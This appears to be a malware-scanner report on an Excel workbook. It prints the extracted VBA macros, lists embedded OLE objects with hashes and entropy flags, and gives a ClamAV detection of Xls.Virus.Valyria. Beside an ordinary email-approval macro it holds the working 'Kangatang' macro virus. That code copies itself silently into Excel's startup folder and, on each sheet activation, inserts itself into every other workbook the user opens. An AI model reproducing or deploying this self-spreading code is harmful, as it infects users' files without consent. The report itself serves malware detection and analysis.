        .HTMLBody = "Dear" & " " & Sheet2.Cells(6, 20) & "," & "<br>" & "<br>" & Sheet2.Cells(1, 15) & "<br>" & "<br>" & Sheet2.Cells(4, 19) & "apply for approval. Please check and approve, thank you!" & "<br>" & "<br>" & " " & "<br>" & "<html> <body>" & "<img   src= 'cid:MyChart.JPG ' > " & "<html> <body>" & "<br>" & "<br>" & "Best regards " & "<br>" & un

        .Attachments.Add ThisWorkbook.Path & "/" & ThisWorkbook.Name
        .Attachments.Add ThisWorkbook.Path & "\" & "MyChart.JPG"
        .Display
        .Send
    End With
    
    Kill ThisWorkbook.Path & "\" & "MyChart.JPG"
    
    MsgBox "Sent! "
    'ThisWorkbook.Close
    ActiveWorkbook.Save
    ThisWorkbook.Close
   
 
    

End Sub
   Sub ExportChart()
      'Dim MyChart As Chart
      Dim MyFileName As String
      Dim MyChart As Shape
      Dim FileName As String
       Sheet1.Range("A1:F27").Select
       Selection.CopyPicture Appearance:=xlScreen, Format:=xlBitmap
       Sheet1.Range("D6").Select
       ActiveSheet.Paste
         For Each MyChart In Sheet1.Shapes
          If MyChart.Type = msoPicture Then
              FileName = ThisWorkbook.Path & "\" & "MyChart.JPG"
              MyChart.Copy
              With Sheet1.ChartObjects.Add(0, 0, MyChart.Width + 30, MyChart.Height + 32).Chart
              .Parent.Select
                  .Paste
                  .Export FileName, "JPG"
               .Parent.Delete
              End With
              MyChart.Delete
            End If
      Next
   
 End Sub





Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{9C1240AE-7320-4911-9BA3-07AF5FED77B1}{08DF151B-C1D9-4512-9FCD-9E32656977CB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{62F84939-5B83-481E-B27F-8C2715AF1643}{5FD70C52-FE7F-438F-BB15-1E0003392D51}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs FileName:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject5.bin 185856 bytes
SHA-256: 7a5d66f0ab2f708e89d1ce0a7c0589e54beae04aa7e10019e8d651fb35518353
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject5.bin Ole10Native stream: Ole10Native 183257 bytes
SHA-256: 01ab2a58b86986ef8194fa2118075e5f15a32358feca5b8db196444a4794eacd
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject4.bin 20480 bytes
SHA-256: 10304798f8256a7e41a3e515b28f02532a99be927cd3f21bb63641ab5bd6dee1
ooxml_oleobject_01_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject4.bin Ole10Native stream: Ole10Native 18644 bytes
SHA-256: 6807222e46f7b25fc28410914e67fd78d6e9e4a105c43edc74945cf63a4c4f77
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.42, consistent with packed or encrypted content.
ooxml_oleobject_02.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject8.bin 185856 bytes
SHA-256: e59e0d77405e6a43198a8aa370e06f8e6b29ea38c26c55b08ad1c4c6cd7b4a79
ooxml_oleobject_02_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject8.bin Ole10Native stream: Ole10Native 183281 bytes
SHA-256: f8e554cdee9d8a2fe5f600cdd31ec70ca2257527f67256ebf8bb0ac0c91f3e5c
ooxml_oleobject_03.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 32768 bytes
SHA-256: 67292dfe73c747c7b55a1fa980a5c08e90c524d44136596748626337b0a9501e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.84, consistent with packed or encrypted content.
ooxml_oleobject_03_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 30835 bytes
SHA-256: 3a85bb5874ce5abd54d72159f92c4a5205a305a261ea093a2b2550fa00483077
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_04.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject6.bin 189440 bytes
SHA-256: 96c2f022faa9cd829bd5fef867e047d84703fe2e42d7371e513c999417bf803c
ooxml_oleobject_04_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject6.bin Ole10Native stream: Ole10Native 186865 bytes
SHA-256: b77ecbe9e624bf10e5c3c52a17dec80c3a2ea3c8c95b813b5032da59cc45ff82
ooxml_oleobject_05.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 24576 bytes
SHA-256: 9dfc6da6fd0a683416cc7f98be65b87807634c7e592fdfef9ed9efacb25943ed
ooxml_oleobject_05_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 23007 bytes
SHA-256: aef860225776ae734de8a3589e0404abec0fe6c72209595c4f4f3b761d112e34
ooxml_oleobject_06.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject3.bin 120832 bytes
SHA-256: f7ce7efb7abf32d3e265fde2c706ce20ecc1937b230ffffe488ba9f4d4cb57fc
ooxml_oleobject_06_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject3.bin Ole10Native stream: Ole10Native 118398 bytes
SHA-256: b2eca6f01a09addd13f41830088243f78a54f97a222bd996a79ca106471b2cb1
ooxml_oleobject_07.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject7.bin 185856 bytes
SHA-256: a38716911e55ec5ba33e650129e4285dbd3828ae3294044b515d4f1682c45db7
ooxml_oleobject_07_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject7.bin Ole10Native stream: Ole10Native 183257 bytes
SHA-256: ab013b726d8c112835ae4c2bcd455e9e60d7a135ce70a8bba91964c8b179b97e
ooxml_oleobject_08.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject9.bin 124928 bytes
SHA-256: c310f2c5d139af400ce680e0396f0af61b2ae62bdf777fd3bc2582c3e80195f9
ooxml_oleobject_08_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject9.bin Ole10Native stream: Ole10Native 122554 bytes
SHA-256: 42ab035c5166dd3ad37d58925ca2c5a1c01adeb27e527e19031a65f3bf0c3c82
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 114176 bytes
SHA-256: ff5a45f82e8d770c6762e112179a46ff419993f1a09ab85fde1abd13191c66d2
Detection
ClamAV: Xls.Virus.Valyria-10004391-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image5.emf 4992 bytes
SHA-256: 92c7c0a2e888a93bb828458b3cc4b22535138d1ef4e73416e0e8f902888d4c36
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image6.emf 5004 bytes
SHA-256: d7105d7a183a43d0a064821cde81957030f7e8b4e1264c9203b60a54780f12e7
emf_02.emf ooxml-emf OOXML EMF part: xl/media/image7.emf 4992 bytes
SHA-256: e609223c3a285070b697e064a8e0a7f9860ce4781e6b1590f5d31da47072b7bc
emf_03.emf ooxml-emf OOXML EMF part: xl/media/image4.emf 5276 bytes
SHA-256: 24d039a2806dd66f2a98392c5d7d35afa6ba96a416ee28be6c9bc12aa04febc5
emf_04.emf ooxml-emf OOXML EMF part: xl/media/image3.emf 5084 bytes
SHA-256: d5f5f556d8873072a77eb28367d7240140f8027c9efeddf359373698fd96eeb8
emf_05.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 4992 bytes
SHA-256: 1e3917eb52eb7358030dcf020d3860fdc0cf775547bee9a875b3291e842ec001
emf_06.emf ooxml-emf OOXML EMF part: xl/media/image2.emf 5156 bytes
SHA-256: 88aaacd0b09168c90a5f7c855c2cfb167c3075d108f323ca04c09de667e224fb
emf_07.emf ooxml-emf OOXML EMF part: xl/media/image8.emf 5004 bytes
SHA-256: daf1e38d601b3ec415f0882c44f38de70444f6dc4f77f4c3987912f00657ac92
emf_08.emf ooxml-emf OOXML EMF part: xl/media/image9.emf 5132 bytes
SHA-256: d8c3a254165398423c25dec12506a13befd62294028ddaf495cbf4add11de72f

Open this report in the interactive analyzer, or submit your own file for analysis.